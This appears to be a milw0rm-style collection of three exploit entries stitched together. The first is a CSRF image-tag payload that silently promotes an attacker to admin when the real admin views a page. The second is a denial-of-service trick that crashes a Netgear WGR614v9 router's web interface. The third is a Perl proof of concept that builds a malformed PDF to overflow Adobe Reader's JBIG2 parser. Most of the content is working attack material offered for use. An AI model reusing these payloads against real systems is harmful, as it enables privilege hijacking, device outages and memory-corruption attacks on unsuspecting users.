[img]http://[host]/[path]/delete.php?id=u3&u3=&action=change_group&what=user&new_password=&group=1&delete_files=no&delete_comments=no[/img]


The fake image doesn't show errors,you'll see "hey admin,nice web site". You'll become admin when the real admin will visit the page.


# milw0rm

Netgear WGR614v9 Wireless Router Get Request Denial of Service Vulnerability

Synopsis: Denial of Service condition in Netgear's WGR614v9 Wireless Router

Firmware version tested: v1.2.2_14.0.13NA (LATEST)

Proof of Concept:

Appending a question mark to the router's internal IP address after the forward slash. e.g., http://192.168.1.1/? results in a denial of service condition where the http server dies and the administrative interface is no longer available until after a device reboot.

found: fabrizio siciliano (staticrez)

# milw0rm

Adobe Acrobat Reader JBIG2 Local Buffer Overflow PoC #2 0day

#!/usr/bin/perl
# k`sOSe 02/22/2009

# http://vrt-sourcefire.blogspot.com/2009/02/have-nice-weekend-pdf-love.html

my $size = "\x40\x00";
my $factor = "ABCD";
my $data = "A" x 8314;


print pdf();

sub pdf()
{

"%PDF-1.5\n" .
"%\xec\xf5\xf2\xe1\xe4\xef\xe3\xf5\xed\xe5\xee\xf4\n" .
"3 0 \n" .
"xref\n" .
"3 16\n" .
"0000000023 00000 n \n" .
"0000000584 00000 n \n" .
"0000000865 00000 n \n" .
"0000001035 00000 n \n" .
"0000001158 00000 n \n" .
"0000001287 00000 n \n" .
"0000001338 00000 n \n" .
"0000001384 00000 n \n" .
"0000002861 00000 n \n" .
"0000003637 00000 n \n" .
"0000005126 00000 n \n" .
"0000005173 00000 n \n" .
"0000005317 00000 n \n" .
"0000005370 00000 n \n" .
"0000005504 00000 n \n" .
"0000000714 00000 n \n" .
"trailer\n" .
"< ]/Size 19/Prev 10218>>\n" .
"startxref\n" .
"0\n" .
"%%EOF\n" .
" \n" .
"4 0 obj\n" .
"<<<>>>>>\n" .
"endobj\n" .
" \n" .
"5 0 obj\n" .
"<<<>>>/Contents 6 0 R/Parent 1 0 R>>\n" .
"endobj\n" .
"6 0 obj\n" .
"<>\n" .
"stream\n" .
"x\x9c\xe3*T031P\x00A\x13\x0b\x08\x9d\x9c\xab\xa0\xef\x99k``\xa8\xe0\x92\xaf\x10\xc8\x85[\x81\x11!\x05\xc6\x84\x14\x98\xc0\x14\xc0\$\@\xb4\x05\xb2\n" .
"S\xb0\n" .
"\x00J\x15#,\n" .
"endstream\n" .
"endobj\n" .

"12 0 obj\n" .
"<>\n" .
"stream\n" .
"\x00\x00\x00\x01" . $size . $factor . "\x13" . $data . "endstream\n" .
"endobj\n" .
"13 0 obj\n" .
"<>\n" .
"endobj\n" .
"14 0 obj\n" .
"<>\n" .
"stream\n" .
"\x00\n" .
"endstream\n" .
"endobj\n" .

"1 0 obj\n" .
"<>\n" .
"endobj\n" .
"xref\n" .
"0 3\n" .
"0000000000 65535 f \n" .
"0000009988 00000 n \n" .
"0000010039 00000 n \n" .
"trailer\n" .
"< ]/Size 3>>\n" .
"startxref\n" .
"104\n" .
"%%EOF\n";

}

# milw0rm